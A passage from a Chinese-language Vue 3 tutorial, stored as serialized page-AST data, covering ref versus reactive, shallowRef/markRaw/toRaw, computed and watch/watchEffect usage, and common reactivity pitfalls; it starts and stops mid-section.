ref）。",[11,20844,20845,268,20848,20851,20852,20855,20856,20858,20859,20861,20862,4813],{},[17,20846,20847],{},"限制二：整体替换会断链。",[22,20849,20850],{},"form = reactive({ ... })"," 把模板绑定的那个代理对象换掉了，界面停在旧值。要清空请写 ",[22,20853,20854],{},"Object.assign(form, newData)","，或者干脆用 ",[22,20857,4778],{}," 装整个对象（",[22,20860,4778],{}," 允许重新赋值 ",[22,20863,8879],{},[11,20865,20866,268,20869,272,20872,20875,20876,20878],{},[17,20867,20868],{},"限制三：不能包装基本类型。",[22,20870,20871],{},"reactive(0)",[22,20873,20874],{},"reactive('a')"," 直接报错——这正是 ",[22,20877,4778],{}," 存在的理由。",[11,20880,20881,20882,20887,20888,20890,20891,20893,20894,20896],{},"实际项目的选择建议：",[17,20883,20884,20885],{},"默认全用 ",[22,20886,4778],{},"，需要一组高度内聚、整体传递的对象数据时再用 ",[22,20889,14225],{},"。理由：",[22,20892,4778],{}," 的规则统一（永远 ",[22,20895,8879],{},"），不会出现「解构后悄悄失效」这类难查的 bug，也便于 TS 推断。",[53,20898,20900,20901,272,20904,272,20907,272,20910],{"id":20899},"局部跳过响应式shallowrefshallowreactivemarkrawtoraw","局部跳过响应式：",[22,20902,20903],{},"shallowRef",[22,20905,20906],{},"shallowReactive",[22,20908,20909],{},"markRaw",[22,20911,20912],{},"toRaw",[11,20914,20915],{},"大对象（ECharts 实例、地图数据、上千行的原始列表）全量代理既慢又没必要：",[308,20917,20919],{"className":942,"code":20918,"language":944,"meta":314,"style":314},"const chart = shallowRef(null)       \u002F\u002F 只有 .value 被替换时才触发更新\nchart.value = newChart\ntriggerRef(chart)                     \u002F\u002F 换了内部属性但想强制刷新时手动触发\n\nconst raw = markRaw(hugeConfig)       \u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\nconst plain = toRaw(state)            \u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\nconst clone = JSON.parse(JSON.stringify(toRaw(state)))  \u002F\u002F 存 sessionStorage 的正路\n",[22,20920,20921,20943,20953,20964,20968,20985,21003],{"__ignoreMap":314},[331,20922,20923,20925,20928,20930,20933,20935,20937,20940],{"class":333,"line":334},[331,20924,951],{"class":616},[331,20926,20927],{"class":344}," chart",[331,20929,957],{"class":616},[331,20931,20932],{"class":501}," shallowRef",[331,20934,966],{"class":337},[331,20936,5858],{"class":344},[331,20938,20939],{"class":337},")       ",[331,20941,20942],{"class":1003},"\u002F\u002F 只有 .value 被替换时才触发更新\n",[331,20944,20945,20948,20950],{"class":333,"line":341},[331,20946,20947],{"class":337},"chart.value ",[331,20949,518],{"class":616},[331,20951,20952],{"class":337}," newChart\n",[331,20954,20955,20958,20961],{"class":333,"line":357},[331,20956,20957],{"class":501},"triggerRef",[331,20959,20960],{"class":337},"(chart)                     ",[331,20962,20963],{"class":1003},"\u002F\u002F 换了内部属性但想强制刷新时手动触发\n",[331,20965,20966],{"class":333,"line":371},[331,20967,998],{"emptyLinePlaceholder":997},[331,20969,20970,20972,20974,20976,20979,20982],{"class":333,"line":384},[331,20971,951],{"class":616},[331,20973,10479],{"class":344},[331,20975,957],{"class":616},[331,20977,20978],{"class":501}," markRaw",[331,20980,20981],{"class":337},"(hugeConfig)       ",[331,20983,20984],{"class":1003},"\u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\n",[331,20986,20987,20989,20992,20994,20997,21000],{"class":333,"line":397},[331,20988,951],{"class":616},[331,20990,20991],{"class":344}," plain",[331,20993,957],{"class":616},[331,20995,20996],{"class":501}," toRaw",[331,20998,20999],{"class":337},"(state)            ",[331,21001,21002],{"class":1003},"\u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\n",[331,21004,21005,21007,21010,21012,21015,21017,21020,21022,21024,21026,21028,21030,21032,21035],{"class":333,"line":418},[331,21006,951],{"class":616},[331,21008,21009],{"class":344}," clone",[331,21011,957],{"class":616},[331,21013,21014],{"class":344}," JSON",[331,21016,1192],{"class":337},[331,21018,21019],{"class":501},"parse",[331,21021,966],{"class":337},[331,21023,13165],{"class":344},[331,21025,1192],{"class":337},[331,21027,13170],{"class":501},[331,21029,966],{"class":337},[331,21031,20912],{"class":501},[331,21033,21034],{"class":337},"(state)))  ",[331,21036,21037],{"class":1003},"\u002F\u002F 存 sessionStorage 的正路\n",[11,21039,21040,21041,21043,21044,21047,21048,21050],{},"数组列表性能场景还有个专门写法：",[22,21042,20903],{}," + 整体替换新数组（",[22,21045,21046],{},"list.value = newList","），比 ",[22,21049,4778],{}," 深代理省一大截开销。",[4748,21052],{"height":5635,"src":21053,"title":21054},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F04-ref-reactive.html","示例 04：ref 与 reactive 的使用边界",[11,21056,21057,21058,21060,21061,21063,21064,21067,21068,21070,21071,21073],{},"示例 04 的四块面板分别演示：忘写 ",[22,21059,8879],{}," 的 NaN 现场、",[22,21062,14225],{}," 解构后失效与 ",[22,21065,21066],{},"toRefs"," 修复、",[22,21069,14225],{}," 整体替换后界面不动，以及 ref 装数组时 ",[22,21072,20810],{}," 为什么能更新界面。",[53,21075,4796],{"id":7628},[11,21077,21078,21084,21085,21088,21089,21092,21093,21095,21096,21098],{},[17,21079,21080,21081,21083],{},"1. 解构 ",[22,21082,14225],{}," 对象就丢响应性","（最常见、最难查）。",[22,21086,21087],{},"const { count } = state"," 之后改 ",[22,21090,21091],{},"state.count","，界面不动也不报错。用 ",[22,21094,21066],{},"，或者从一开始就用 ",[22,21097,4778],{}," 存单个值。",[11,21100,21101,268,21107,21110,21111,21114,21115,161],{},[17,21102,5672,21103,21106],{},[22,21104,21105],{},"props"," 的解构同理。",[22,21108,21109],{},"const { title } = defineProps([...])"," 在 3.5 之前是「断掉响应」的写法；现在编译器会给出警告（",[22,21112,21113],{},"Vue 3.5 props 解构是响应式安全的"," 属于新特性，老项目里务必确认版本）。拿不准就老实写 ",[22,21116,21117],{},"props.title",[11,21119,21120,268,21126,21129,21130,21133],{},[17,21121,21122,21123,21125],{},"3. 把 ",[22,21124,14225],{}," 对象直接传给函数后重新赋值，外面看不到。",[22,21127,21128],{},"function reset(s) { s = {} }"," 只是改了局部变量。断链问题在传参、",[22,21131,21132],{},"Object.assign"," 目标搞错时反复出现。",[11,21135,21136,21143],{},[17,21137,7689,21138,16490,21140,21142],{},[22,21139,5460],{},[22,21141,14225],{}," 对象默认是深监听。"," 对象一大、嵌套一深，每次改动都全量遍历（第五章给省法）。",[11,21145,21146,268,21156,21159,21160,21162,21163,21166],{},[17,21147,21148,21149,21152,21153,21155],{},"5. 存到 ",[22,21150,21151],{},"sessionStorage"," \u002F 发给后端之前要 ",[22,21154,20912],{}," + 深拷贝。",[22,21157,21158],{},"JSON.stringify(reactive对象)"," 能工作，但里面若混了 ",[22,21161,4778],{}," 会多出 ",[22,21164,21165],{},"{\"value\": ...}"," 这种结构，接口对不上。",[11,21168,21169,268,21175,21178,21179,21182,21183,21185,21186,21189,21190,161],{},[17,21170,21171,21172,21174],{},"6. 模板里给 ref 赋的是 ",[22,21173,8879],{}," 的语义，写错类型会静默失败。",[22,21176,21177],{},"list.push(x)"," 对 ",[22,21180,21181],{},"ref([])"," 是错的（",[22,21184,8597],{}," 是引用对象不是数组），要 ",[22,21187,21188],{},"list.value.push(x)","。这类错误 Vue 不报，只在运行时炸出 ",[22,21191,21192],{},"push is not a function",[11,21194,21195,268,21198,21201,21202,21204,21205,21208],{},[17,21196,21197],{},"7. 别在循环里动态创建 ref。",[22,21199,21200],{},"for (const k of keys) refs[k] = ref(0)"," 这种写法本身合法，但随后放进 ",[22,21203,14225],{}," 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ",[22,21206,21207],{},"ref(数组)","，索引即位置（第十一章会讲为什么不能用 index 当 key）。",[53,21210,21212],{"id":21211},"附响应式-api-速查","附：响应式 API 速查",[57,21214,21215,21233],{},[60,21216,21217],{},[63,21218,21219,21221,21224,21227,21230],{},[66,21220,13493],{},[66,21222,21223],{},"用来装",[66,21225,21226],{},"解构安全",[66,21228,21229],{},"整体替换",[66,21231,21232],{},"典型场景",[79,21234,21235,21257,21276,21293,21310,21327,21344,21361,21378,21395],{},[63,21236,21237,21242,21245,21247,21252],{},[84,21238,21239],{},[22,21240,21241],{},"ref(v)",[84,21243,21244],{},"任意值（含基本类型）",[84,21246,5122],{},[84,21248,21249,21250,5149],{},"✓（改 ",[22,21251,8879],{},[84,21253,21254],{},[17,21255,21256],{},"默认选择",[63,21258,21259,21264,21267,21270,21273],{},[84,21260,21261],{},[22,21262,21263],{},"reactive(o)",[84,21265,21266],{},"对象\u002F数组",[84,21268,21269],{},"✗ 解构失效",[84,21271,21272],{},"✗ 断链",[84,21274,21275],{},"一组内聚的表单字段",[63,21277,21278,21283,21286,21288,21290],{},[84,21279,21280],{},[22,21281,21282],{},"shallowRef(v)",[84,21284,21285],{},"大对象\u002F实例",[84,21287,5122],{},[84,21289,11683],{},[84,21291,21292],{},"ECharts、地图、大列表",[63,21294,21295,21300,21303,21305,21307],{},[84,21296,21297],{},[22,21298,21299],{},"shallowReactive(o)",[84,21301,21302],{},"对象（只代理第一层）",[84,21304,68],{},[84,21306,11700],{},[84,21308,21309],{},"表格行数据",[63,21311,21312,21317,21320,21322,21324],{},[84,21313,21314],{},[22,21315,21316],{},"toRef(o, 'k')",[84,21318,21319],{},"从 reactive 里取一个字段",[84,21321,11683],{},[84,21323,5122],{},[84,21325,21326],{},"props 转发、组合式入参",[63,21328,21329,21334,21337,21339,21341],{},[84,21330,21331],{},[22,21332,21333],{},"toRefs(o)",[84,21335,21336],{},"整个 reactive 展开成 ref 集",[84,21338,11683],{},[84,21340,5122],{},[84,21342,21343],{},"组合式函数返回多个状态",[63,21345,21346,21351,21354,21356,21358],{},[84,21347,21348],{},[22,21349,21350],{},"markRaw(v)",[84,21352,21353],{},"标记永不代理",[84,21355,5122],{},[84,21357,5122],{},[84,21359,21360],{},"第三方实例",[63,21362,21363,21368,21371,21373,21375],{},[84,21364,21365],{},[22,21366,21367],{},"toRaw(v)",[84,21369,21370],{},"取回原始对象",[84,21372,5122],{},[84,21374,5122],{},[84,21376,21377],{},"深拷贝、序列化",[63,21379,21380,21385,21388,21390,21392],{},[84,21381,21382],{},[22,21383,21384],{},"triggerRef(r)",[84,21386,21387],{},"手动触发 shallowRef 更新",[84,21389,5122],{},[84,21391,5122],{},[84,21393,21394],{},"深层修改后强制刷新",[63,21396,21397,21405,21408,21410,21412],{},[84,21398,21399,1901,21402],{},[22,21400,21401],{},"unref(v)",[22,21403,21404],{},"isRef(v)",[84,21406,21407],{},"取值 \u002F 判断",[84,21409,5122],{},[84,21411,5122],{},[84,21413,21414],{},"写通用工具函数",[48,21416,21418],{"id":21417},"五computed-与-watch派生值要缓存副作用要侦听","五、computed 与 watch：派生值要缓存，副作用要侦听",[11,21420,21421,21422,21430,21431,21433],{},"一句话选型：",[17,21423,21424,21425,21427,21428,161],{},"「界面要显示的一个值」用 ",[22,21426,4781],{},"，「数据变了之后要去干一件事」用 ",[22,21429,5460],{}," 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 ",[22,21432,4781],{}," 里。",[53,21435,21437],{"id":21436},"computed会缓存的派生值","computed：会缓存的派生值",[308,21439,21441],{"className":5996,"code":21440,"language":5998,"meta":314,"style":314},"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nconst list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])\nconst keyword = ref('')\n\nconst total = computed(() => list.value.reduce((s, x) => s + x.price, 0))\nconst filtered = computed(() =>\n  list.value.filter(x => x.name.includes(keyword.value))\n)\n\u003C\u002Fscript>\n",[22,21442,21443,21453,21464,21496,21513,21517,21564,21580,21603,21607],{"__ignoreMap":314},[331,21444,21445,21447,21449,21451],{"class":333,"line":334},[331,21446,510],{"class":337},[331,21448,891],{"class":497},[331,21450,6299],{"class":501},[331,21452,505],{"class":337},[331,21454,21455,21457,21460,21462],{"class":333,"line":341},[331,21456,4648],{"class":616},[331,21458,21459],{"class":337}," { ref, computed } ",[331,21461,13735],{"class":616},[331,21463,17864],{"class":365},[331,21465,21466,21468,21470,21472,21474,21477,21479,21482,21484,21487,21489,21491,21493],{"class":333,"line":357},[331,21467,951],{"class":616},[331,21469,10160],{"class":344},[331,21471,957],{"class":616},[331,21473,13780],{"class":501},[331,21475,21476],{"class":337},"([{ name: ",[331,21478,9298],{"class":365},[331,21480,21481],{"class":337},", price: ",[331,21483,724],{"class":344},[331,21485,21486],{"class":337}," }, { name: ",[331,21488,9303],{"class":365},[331,21490,21481],{"class":337},[331,21492,638],{"class":344},[331,21494,21495],{"class":337}," }])\n",[331,21497,21498,21500,21503,21505,21507,21509,21511],{"class":333,"line":371},[331,21499,951],{"class":616},[331,21501,21502],{"class":344}," keyword",[331,21504,957],{"class":616},[331,21506,13780],{"class":501},[331,21508,966],{"class":337},[331,21510,9164],{"class":365},[331,21512,972],{"class":337},[331,21514,21515],{"class":333,"line":384},[331,21516,998],{"emptyLinePlaceholder":997},[331,21518,21519,21521,21524,21526,21528,21530,21532,21535,21538,21540,21543,21545,21548,21550,21552,21555,21557,21560,21562],{"class":333,"line":397},[331,21520,951],{"class":616},[331,21522,21523],{"class":344}," total",[331,21525,957],{"class":616},[331,21527,13798],{"class":501},[331,21529,1486],{"class":337},[331,21531,1489],{"class":616},[331,21533,21534],{"class":337}," list.value.",[331,21536,21537],{"class":501},"reduce",[331,21539,3175],{"class":337},[331,21541,21542],{"class":2472},"s",[331,21544,409],{"class":337},[331,21546,21547],{"class":2472},"x",[331,21549,3180],{"class":337},[331,21551,1489],{"class":616},[331,21553,21554],{"class":337}," s ",[331,21556,12714],{"class":616},[331,21558,21559],{"class":337}," x.price, ",[331,21561,628],{"class":344},[331,21563,8335],{"class":337},[331,21565,21566,21568,21571,21573,21575,21577],{"class":333,"line":418},[331,21567,951],{"class":616},[331,21569,21570],{"class":344}," filtered",[331,21572,957],{"class":616},[331,21574,13798],{"class":501},[331,21576,1486],{"class":337},[331,21578,21579],{"class":616},"=>\n",[331,21581,21582,21585,21588,21590,21592,21595,21598,21600],{"class":333,"line":427},[331,21583,21584],{"class":337},"  list.value.",[331,21586,21587],{"class":501},"filter",[331,21589,966],{"class":337},[331,21591,21547],{"class":2472},[331,21593,21594],{"class":616}," =>",[331,21596,21597],{"class":337}," x.name.",[331,21599,2501],{"class":501},[331,21601,21602],{"class":337},"(keyword.value))\n",[331,21604,21605],{"class":333,"line":439},[331,21606,972],{"class":337},[331,21608,21609,21611,21613],{"class":333,"line":450},[331,21610,788],{"class":337},[331,21612,891],{"class":497},[331,21614,505],{"class":337},[11,21616,21617,21619,21620,21623,21624,21626],{},[22,21618,4781],{}," 与「直接在模板里调方法」的区别是",[17,21621,21622],{},"缓存","：依赖不变时读多少次都返回同一个结果，不会重新执行函数；方法调用则是每次渲染都跑一遍。示例 05 里有个计数器，连点「与计算无关」的按钮你能直观看到：方法版本调用次数一路上涨，",[22,21625,4781],{}," 版本纹丝不动。",[11,21628,21629,21630,21632,21633,21635],{},"列表过滤、汇总、格式化这三类需求，几乎都该落在 ",[22,21631,4781],{}," 上（而不是 ",[22,21634,5460],{}," 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题）。",[53,21637,21639],{"id":21638},"可写-computed","可写 computed",[308,21641,21643],{"className":942,"code":21642,"language":944,"meta":314,"style":314},"const celsius = ref(25)\nconst fahrenheit = computed({\n  get: () => celsius.value * 9 \u002F 5 + 32,\n  set: (v) => { celsius.value = (v - 32) * 5 \u002F 9 }\n})\n",[22,21644,21645,21663,21676,21705,21742],{"__ignoreMap":314},[331,21646,21647,21649,21652,21654,21656,21658,21661],{"class":333,"line":334},[331,21648,951],{"class":616},[331,21650,21651],{"class":344}," celsius",[331,21653,957],{"class":616},[331,21655,13780],{"class":501},[331,21657,966],{"class":337},[331,21659,21660],{"class":344},"25",[331,21662,972],{"class":337},[331,21664,21665,21667,21670,21672,21674],{"class":333,"line":341},[331,21666,951],{"class":616},[331,21668,21669],{"class":344}," fahrenheit",[331,21671,957],{"class":616},[331,21673,13798],{"class":501},[331,21675,1250],{"class":337},[331,21677,21678,21681,21683,21685,21688,21690,21693,21695,21698,21700,21703],{"class":333,"line":357},[331,21679,21680],{"class":501},"  get",[331,21682,8621],{"class":337},[331,21684,1489],{"class":616},[331,21686,21687],{"class":337}," celsius.value ",[331,21689,18020],{"class":616},[331,21691,21692],{"class":344}," 9",[331,21694,6544],{"class":616},[331,21696,21697],{"class":344}," 5",[331,21699,6321],{"class":616},[331,21701,21702],{"class":344}," 32",[331,21704,354],{"class":337},[331,21706,21707,21710,21712,21714,21716,21718,21721,21723,21726,21728,21730,21732,21734,21736,21738,21740],{"class":333,"line":371},[331,21708,21709],{"class":501},"  set",[331,21711,6534],{"class":337},[331,21713,14033],{"class":2472},[331,21715,3180],{"class":337},[331,21717,1489],{"class":616},[331,21719,21720],{"class":337}," { celsius.value ",[331,21722,518],{"class":616},[331,21724,21725],{"class":337}," (v ",[331,21727,6659],{"class":616},[331,21729,21702],{"class":344},[331,21731,3180],{"class":337},[331,21733,18020],{"class":616},[331,21735,21697],{"class":344},[331,21737,6544],{"class":616},[331,21739,21692],{"class":344},[331,21741,9413],{"class":337},[331,21743,21744],{"class":333,"line":384},[331,21745,5399],{"class":337},[11,21747,21748,21749,21751],{},"给 ",[22,21750,20316],{}," 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手（示例 05 里两个输入框互相同步就是这个写法）。",[53,21753,21755],{"id":21754},"watch知道旧值才能做增量","watch：知道旧值，才能做增量",[308,21757,21759],{"className":942,"code":21758,"language":944,"meta":314,"style":314},"\u002F\u002F ① 监听单个 ref\nwatch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })\n\n\u002F\u002F ② 监听 reactive 的某个字段：必须写成 getter\nconst state = reactive({ count: 0 })\nwatch(() => state.count, (v) => { \u002F* ... *\u002F })\n\n\u002F\u002F ③ 监听多个来源\nwatch([a, b], ([av, bv]) => { \u002F* ... *\u002F })\n\n\u002F\u002F ④ 需要「深层」变化时显式开启\nwatch(() => state.list, (v) => { \u002F* ... *\u002F }, { deep: true })\n\n\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\nwatch(keyword, cb, { immediate: true })\n\n\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\nconst stop = watch(source, cb)\n\u002F\u002F ... 不需要时\nstop()\n",[22,21760,21761,21766,21805,21809,21814,21830,21854,21858,21863,21889,21893,21898,21926,21930,21935,21946,21950,21955,21970,21975],{"__ignoreMap":314},[331,21762,21763],{"class":333,"line":334},[331,21764,21765],{"class":1003},"\u002F\u002F ① 监听单个 ref\n",[331,21767,21768,21770,21773,21776,21778,21781,21783,21785,21787,21789,21791,21794,21796,21799,21801,21803],{"class":333,"line":341},[331,21769,5460],{"class":501},[331,21771,21772],{"class":337},"(keyword, (",[331,21774,21775],{"class":2472},"newV",[331,21777,409],{"class":337},[331,21779,21780],{"class":2472},"oldV",[331,21782,3180],{"class":337},[331,21784,1489],{"class":616},[331,21786,605],{"class":337},[331,21788,3533],{"class":501},[331,21790,966],{"class":337},[331,21792,21793],{"class":365},"`关键词 ${",[331,21795,21780],{"class":337},[331,21797,21798],{"class":365},"} → ${",[331,21800,21775],{"class":337},[331,21802,8524],{"class":365},[331,21804,8697],{"class":337},[331,21806,21807],{"class":333,"line":357},[331,21808,998],{"emptyLinePlaceholder":997},[331,21810,21811],{"class":333,"line":371},[331,21812,21813],{"class":1003},"\u002F\u002F ② 监听 reactive 的某个字段：必须写成 getter\n",[331,21815,21816,21818,21820,21822,21824,21826,21828],{"class":333,"line":384},[331,21817,951],{"class":616},[331,21819,20718],{"class":344},[331,21821,957],{"class":616},[331,21823,9158],{"class":501},[331,21825,20747],{"class":337},[331,21827,628],{"class":344},[331,21829,1139],{"class":337},[331,21831,21832,21834,21836,21838,21841,21843,21845,21847,21849,21852],{"class":333,"line":397},[331,21833,5460],{"class":501},[331,21835,1486],{"class":337},[331,21837,1489],{"class":616},[331,21839,21840],{"class":337}," state.count, (",[331,21842,14033],{"class":2472},[331,21844,3180],{"class":337},[331,21846,1489],{"class":616},[331,21848,605],{"class":337},[331,21850,21851],{"class":1003},"\u002F* ... *\u002F",[331,21853,1139],{"class":337},[331,21855,21856],{"class":333,"line":418},[331,21857,998],{"emptyLinePlaceholder":997},[331,21859,21860],{"class":333,"line":427},[331,21861,21862],{"class":1003},"\u002F\u002F ③ 监听多个来源\n",[331,21864,21865,21867,21870,21873,21875,21878,21881,21883,21885,21887],{"class":333,"line":439},[331,21866,5460],{"class":501},[331,21868,21869],{"class":337},"([a, b], ([",[331,21871,21872],{"class":2472},"av",[331,21874,409],{"class":337},[331,21876,21877],{"class":2472},"bv",[331,21879,21880],{"class":337},"]) ",[331,21882,1489],{"class":616},[331,21884,605],{"class":337},[331,21886,21851],{"class":1003},[331,21888,1139],{"class":337},[331,21890,21891],{"class":333,"line":450},[331,21892,998],{"emptyLinePlaceholder":997},[331,21894,21895],{"class":333,"line":456},[331,21896,21897],{"class":1003},"\u002F\u002F ④ 需要「深层」变化时显式开启\n",[331,21899,21900,21902,21904,21906,21909,21911,21913,21915,21917,21919,21922,21924],{"class":333,"line":775},[331,21901,5460],{"class":501},[331,21903,1486],{"class":337},[331,21905,1489],{"class":616},[331,21907,21908],{"class":337}," state.list, (",[331,21910,14033],{"class":2472},[331,21912,3180],{"class":337},[331,21914,1489],{"class":616},[331,21916,605],{"class":337},[331,21918,21851],{"class":1003},[331,21920,21921],{"class":337}," }, { deep: ",[331,21923,1131],{"class":344},[331,21925,1139],{"class":337},[331,21927,21928],{"class":333,"line":785},[331,21929,998],{"emptyLinePlaceholder":997},[331,21931,21932],{"class":333,"line":795},[331,21933,21934],{"class":1003},"\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\n",[331,21936,21937,21939,21942,21944],{"class":333,"line":805},[331,21938,5460],{"class":501},[331,21940,21941],{"class":337},"(keyword, cb, { immediate: ",[331,21943,1131],{"class":344},[331,21945,1139],{"class":337},[331,21947,21948],{"class":333,"line":819},[331,21949,998],{"emptyLinePlaceholder":997},[331,21951,21952],{"class":333,"line":850},[331,21953,21954],{"class":1003},"\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\n",[331,21956,21957,21959,21962,21964,21967],{"class":333,"line":886},[331,21958,951],{"class":616},[331,21960,21961],{"class":344}," stop",[331,21963,957],{"class":616},[331,21965,21966],{"class":501}," watch",[331,21968,21969],{"class":337},"(source, cb)\n",[331,21971,21972],{"class":333,"line":909},[331,21973,21974],{"class":1003},"\u002F\u002F ... 不需要时\n",[331,21976,21977,21980],{"class":333,"line":918},[331,21978,21979],{"class":501},"stop",[331,21981,1540],{"class":337},[11,21983,21984,21986,21987,21989,21990,21993,21994,4839,21997,22000,22001,22004,22005,22008,22009,22012],{},[22,21985,5460],{}," 的选项一共四个常用的：",[22,21988,8398],{},"（立即跑一次）、",[22,21991,21992],{},"deep","（深层遍历）、",[22,21995,21996],{},"flush",[22,21998,21999],{},"'pre'"," 默认，DOM 更新前；",[22,22002,22003],{},"'post'"," 更新后，需要读 DOM 时用它；",[22,22006,22007],{},"'sync'"," 同步执行，几乎不用来避免性能问题）、以及第三个参数返回值 ",[22,22010,22011],{},"onCleanup","（见下）。",[53,22014,22016],{"id":22015},"watcheffect自动追踪配合-oncleanup-做防抖","watchEffect：自动追踪，配合 onCleanup 做防抖",[308,22018,22020],{"className":942,"code":22019,"language":944,"meta":314,"style":314},"const query = ref('')\nwatchEffect((onCleanup) => {\n  const timer = setTimeout(() => search(query.value), 300)\n  onCleanup(() => clearTimeout(timer))   \u002F\u002F 下次执行前 \u002F 停止时自动调用\n})\n",[22,22021,22022,22038,22053,22080,22098],{"__ignoreMap":314},[331,22023,22024,22026,22028,22030,22032,22034,22036],{"class":333,"line":334},[331,22025,951],{"class":616},[331,22027,10442],{"class":344},[331,22029,957],{"class":616},[331,22031,13780],{"class":501},[331,22033,966],{"class":337},[331,22035,9164],{"class":365},[331,22037,972],{"class":337},[331,22039,22040,22043,22045,22047,22049,22051],{"class":333,"line":341},[331,22041,22042],{"class":501},"watchEffect",[331,22044,3175],{"class":337},[331,22046,22011],{"class":2472},[331,22048,3180],{"class":337},[331,22050,1489],{"class":616},[331,22052,1100],{"class":337},[331,22054,22055,22057,22060,22062,22065,22067,22069,22072,22075,22078],{"class":333,"line":357},[331,22056,1496],{"class":616},[331,22058,22059],{"class":344}," timer",[331,22061,957],{"class":616},[331,22063,22064],{"class":501}," setTimeout",[331,22066,1486],{"class":337},[331,22068,1489],{"class":616},[331,22070,22071],{"class":501}," search",[331,22073,22074],{"class":337},"(query.value), ",[331,22076,22077],{"class":344},"300",[331,22079,972],{"class":337},[331,22081,22082,22085,22087,22089,22092,22095],{"class":333,"line":371},[331,22083,22084],{"class":501},"  onCleanup",[331,22086,1486],{"class":337},[331,22088,1489],{"class":616},[331,22090,22091],{"class":501}," clearTimeout",[331,22093,22094],{"class":337},"(timer))   ",[331,22096,22097],{"class":1003},"\u002F\u002F 下次执行前 \u002F 停止时自动调用\n",[331,22099,22100],{"class":333,"line":384},[331,22101,5399],{"class":337},[11,22103,22104,22106,22107,22110,22111,22113],{},[22,22105,22042],{}," 不需要声明监听谁，函数里读到的响应式都被记录。代价是",[17,22108,22109],{},"可读性","：依赖是隐式的，别人（和三个月后的你）看不出这段代码会在什么时机跑。项目里的实践约定是：只在「依赖多、且就是要跟着全部依赖走」时用，通常配合 ",[22,22112,22011],{}," 处理订阅\u002F定时器\u002F请求取消。",[4748,22115],{"height":5635,"src":22116,"title":22117},"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F05-computed-watch.html","示例 05：computed 的缓存、可写 computed 与 watch 的触发矩阵",[11,22119,22120],{},"示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。",[53,22122,4796],{"id":8718},[11,22124,22125,22130,22131,22134,22135,22137,22138,22141],{},[17,22126,8723,22127,22129],{},[22,22128,4781],{}," 里写副作用。"," 在 getter 里 ",[22,22132,22133],{},"emit","、发请求、改别的 ",[22,22136,4778],{},"，会形成「渲染 → 改数据 → 再渲染」的循环，开发版报 ",[22,22139,22140],{},"Maximum recursive updates exceeded","。派生就纯派生。",[11,22143,22144,268,22149,14079,22152,22155,22156,5664,22159,22161,22162,22164],{},[17,22145,5672,22146,22148],{},[22,22147,4781],{}," 里访问了「还没声明」的响应式变量。",[22,22150,22151],{},"const a = computed(() => b.value)",[22,22153,22154],{},"const b = ref(0)"," 之前，首次求值时 ",[22,22157,22158],{},"b",[22,22160,5872],{},"（TDZ 或直接报错）。顺序摆正，或者把 ",[22,22163,4781],{}," 放到依赖之后。",[11,22166,22167,268,22173,22176,22177,22180,22181,2012,22183,18283,22185,22188,22189,161],{},[17,22168,22169,22170,22172],{},"3. 监听 ",[22,22171,14225],{}," 对象不写 getter，又忘了它是深监听。",[22,22174,22175],{},"watch(state, cb)","（state 是 reactive）默认 ",[22,22178,22179],{},"deep: true","，对象一大每次改动都全量遍历；而且由于引用没变，",[22,22182,21775],{},[22,22184,21780],{},[17,22186,22187],{},"同一个对象","，拿不到「旧值」。只关心某个字段就写 ",[22,22190,22191],{},"() => state.count",[11,22193,22194,268,22197,22200,22201,22204,22205,22208],{},[17,22195,22196],{},"4. 监听一个「对象引用」而不是内容。",[22,22198,22199],{},"watch(() => obj.data, cb)","，你在 cb 里改 ",[22,22202,22203],{},"obj.data"," 的字段而不是替换整个对象，就不会再触发。要么 deep，要么换成监听 ",[22,22206,22207],{},"() => obj.data.length"," 这类标量。",[11,22210,22211,22214,22215,22217,22218,22221,22222,22224,22225,22228],{},[17,22212,22213],{},"5. 忘停的 watch 是内存泄漏。"," 在组合式函数、插件、",[22,22216,5460],{}," 于 ",[22,22219,22220],{},"setTimeout"," 回调里创建等「脱离组件实例」的场景创建的 watch，不会被自动回收。拿到返回的 ",[22,22223,21979],{}," 并在 ",[22,22226,22227],{},"onBeforeUnmount"," 里调用。",[11,22230,22231,22237,22238,22240],{},[17,22232,7717,22233,22236],{},[22,22234,22235],{},"immediate: true"," 首次回调时依赖可能是空。"," 典型的翻车是首次就发请求，参数还是 ",[22,22239,5872],{},"。要么先判空，要么把「初始化」单独写。",[11,22242,22243,268,22246,22249,22250,4809,22252,22254],{},[17,22244,22245],{},"7. 异步 watch 的竞态。",[22,22247,22248],{},"watch(id, async () => { data.value = await fetchDetail(id.value) })","：快速切换 id 时，先发的慢请求可能后返回，覆盖掉新数据。解法是本地一个「请求序号\u002F最新 id」对比，或者用 ",[22,22251,22011],{},[22,22253,8256],{}," 取消上一次请求。",[11,22256,22257,22263,22264,22266,22267,22270],{},[17,22258,5783,22259,22262],{},[22,22260,22261],{},"flush: 'post'"," 才是读 DOM 的时机。"," 想在数据变化后读更新后的 DOM（比如滚动到底部），默认 ",[22,22265,21999],{}," 时机读到的是旧 DOM。更稳的做法是 ",[22,22268,22269],{},"nextTick()","（第十二章）。",[53,22272,22274],{"id":22273},"附computed-watch-watcheffect-选择表","附：computed \u002F watch \u002F watchEffect 